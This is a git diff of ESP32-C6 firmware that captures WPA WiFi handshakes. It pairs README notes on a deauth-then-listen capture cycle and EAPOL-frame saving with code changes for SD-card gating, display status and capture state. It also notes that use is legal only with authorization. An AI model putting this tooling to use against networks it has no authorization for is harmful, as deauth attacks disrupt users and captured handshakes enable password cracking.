burst → listen** (several rounds per visit) +3. PCAP grows in RAM; **SD write only when 4 EAPOL-Key frames** are seen for that AP +4. On save → mark red; **refill slots** with other networks on the same channel, then **next channel** until everyone captured or timed out +5. If a visit ends without 4 EAPOL for an AP, that buffer is discarded (no partial PCAP); the next sweep can try again + +## Production checklist + +| Item | Notes | +|------|--------| +| **Flash layout** | Prefer `PartitionScheme=huge_app` (~40% of that partition at v1.0.0); default `default` partition is too small (~96% full). | +| **SD** | FAT-formatted microSD; capture is gated on `SD_IsReady()` (successful `SD_Init`), not raw `cardType()` (unreliable after WiFi on shared SPI). | +| **Serial** | `115200` — boot line shows `handshake-capture-c6 vX.Y.Z`. | +| **Legal / authorization** | Only deploy on networks you own or have **explicit written permission** to test. Unauthorized interception or disruption is illegal in many jurisdictions. | + +## Release discipline + +1. Bump `HANDSHAKE_FIRMWARE_VERSION` in `HandshakeCapture.h` for any field release. +2. Rebuild with the same `arduino-cli` FQBN and partition scheme you ship. +3. Run a short on-bench test: scan → capture → confirm `.pcap` opens in Wireshark and shows four EAPOL-Key exchanges for the target BSSID. diff --git a/handshake-capture-c6/SD_Card.cpp b/handshake-capture-c6/SD_Card.cpp index e7b26ac..76920e2 100644 --- a/handshake-capture-c6/SD_Card.cpp +++ b/handshake-capture-c6/SD_Card.cpp @@ -2,18 +2,29 @@ #include "Display_ST7789.h" uint16_t SDCard_Size = 0; +static bool g_sd_ready = false; + +bool SD_IsReady() { + return g_sd_ready; +} bool SD_Init() { + g_sd_ready = false; pinMode(SD_CS, OUTPUT); digitalWrite(SD_CS, HIGH); + // Shared SPI with ST7789: ensure display CS idle so SD sees a clean bus. + digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); + if (!SD.begin(SD_CS, SPI)) { Serial.println("SD init failed"); return false; } if (SD.cardType() == CARD_NONE) { Serial.println("No SD card"); + SD.end(); return false; } + g_sd_ready = true; SDCard_Size = SD.totalBytes() / (1024 * 1024); return true; } diff --git a/handshake-capture-c6/SD_Card.h b/handshake-capture-c6/SD_Card.h index c95b505..0132afe 100644 --- a/handshake-capture-c6/SD_Card.h +++ b/handshake-capture-c6/SD_Card.h @@ -9,3 +9,9 @@ extern uint16_t SDCard_Size; bool SD_Init(); +/** + * True only after the last SD_Init() completed successfully (SD.begin + valid cardType). + * Use this to gate capture — do NOT rely on SD.cardType() alone after WiFi on ESP32-C6: + * with LCD+SD sharing SPI, cardType() can spuriously read CARD_NONE and falsely show "insert SD". + */ +bool SD_IsReady(); diff --git a/handshake-capture-c6/WiFi_Scanner.cpp b/handshake-capture-c6/WiFi_Scanner.cpp index 7fc3c0f..4e81671 100644 --- a/handshake-capture-c6/WiFi_Scanner.cpp +++ b/handshake-capture-c6/WiFi_Scanner.cpp @@ -3,12 +3,6 @@ #include "LVGL_Driver.h" #include "HandshakeCapture.h" -void WiFiScanner_Init(void) { - WiFi.mode(WIFI_STA); - WiFi.disconnect(false, true); - WiFi.setSleep(false); -} - void WiFiScanner_Refresh(void) { Ui_SetWifiStatus("Scanning..."); Ui_ClearNetworkList(); diff --git a/handshake-capture-c6/WiFi_Scanner.h b/handshake-capture-c6/WiFi_Scanner.h index d3d0920..4326a95 100644 --- a/handshake-capture-c6/WiFi_Scanner.h +++ b/handshake-capture-c6/WiFi_Scanner.h @@ -1,4 +1,3 @@ #pragma once -void WiFiScanner_Init(void); void WiFiScanner_Refresh(void); diff --git a/handshake-capture-c6/handshake-capture-c6.ino b/handshake-capture-c6/handshake-capture-c6.ino index 9452923..ad3f18d 100644 --- a/handshake-capture-c6/handshake-capture-c6.ino +++ b/handshake-capture-c6/handshake-capture-c6.ino @@ -1,6 +1,6 @@ /* * WiFi Handshake Capture - ESP32-C6 1.47" LCD - * Multi-target capture: up to 3 networks per channel. + * Multi-target capture: up to 2 networks per channel (deauth + wait, rotate until all done). * Green = pending, orange blink = active target, red = captured. */ @@ -12,13 +12,13 @@ enum CaptureState { STATE_SCANNING, - STATE_CAPTURING, - STATE_WAITING + STATE_CAPTURING }; CaptureState captureState = STATE_SCANNING; unsigned long capture_start_time = 0; -const unsigned long CHANNEL_TIMEOUT_MS = 50000; // ~3 cycles (observe+deauth+capture) +// Hard cap per channel visit: should exceed MAX_OBSERVE_CYCLES * (observe + capture). +const unsigned long CHANNEL_TIMEOUT_MS = 150000UL; // ─── Live capture visual update ─── @@ -69,8 +69,8 @@ void updateCaptureVisuals() { snprintf(buf, sizeof(buf), LV_SYMBOL_CHARGE " %s +%dc", slot->ssid, slot->client_count); } else { - snprintf(buf, sizeof(buf), LV_SYMBOL_CHARGE " %s %d/2", - slot->ssid, slot->eapol_count); + snprintf(buf, sizeof(buf), LV_SYMBOL_CHARGE " %s %d/%d", + slot->ssid, (int)slot->eapol_count, (int)HANDSHAKE_EAPOL_FRAMES); } Ui_SetNetworkText(i, buf); @@ -92,13 +92,19 @@ void updateCaptureVisuals() { last_phase = capturePhase; } - static int last_eapol = -1; - if (capturePhase == PHASE_CAPTURING && latest_eapol_count != last_eapol) { - char ebuf[32]; - snprintf(ebuf, sizeof(ebuf), "Ch %d " LV_SYMBOL_CHARGE " EAPOL %d", - current_channel, latest_eapol_count); + static uint32_t last_eapol_sig = 0xffffffffu; + uint32_t sig = 0; + for (int s = 0; s < MAX_SLOTS; s++) + sig |= (uint32_t)latest_eapol_count[s] << (8 * s); + if (capturePhase == PHASE_CAPTURING && sig != last_eapol_sig) { + char ebuf[48]; + int p = snprintf(ebuf, sizeof(ebuf), "Ch%d " LV_SYMBOL_CHARGE " E", current_channel); + for (int s = 0; s < MAX_SLOTS && p < (int)sizeof(ebuf) - 6; s++) { + p += snprintf(ebuf + p, sizeof(ebuf) - (size_t)p, "%s%d", + s ? "/" : "", (int)latest_eapol_count[s]); + } Ui_SetWifiStatus(ebuf); - last_eapol = latest_eapol_count; + last_eapol_sig = sig; } } @@ -106,6 +112,9 @@ void updateCaptureVisuals() { void setup() { Serial.begin(115200); + delay(200); + Serial.printf("handshake-capture-c6 v%s\n", HANDSHAKE_FIRMWARE_VERSION); + LCD_Init(); Set_Backlight(100); Lvgl_Init(); @@ -137,6 +146,14 @@ void loop() { delay(500); break; } + if (!SD_IsReady()) { + SD_Init(); + if (!SD_IsReady()) { + Ui_SetWifiStatus("Insert SD card"); + delay(800); + break; + } + } startMultiCapture(); if (is_capturing) { captureState = STATE_CAPTURING; @@ -177,9 +194,6 @@ void loop() { } break; } - - case STATE_WAITING: - break; } delay(16);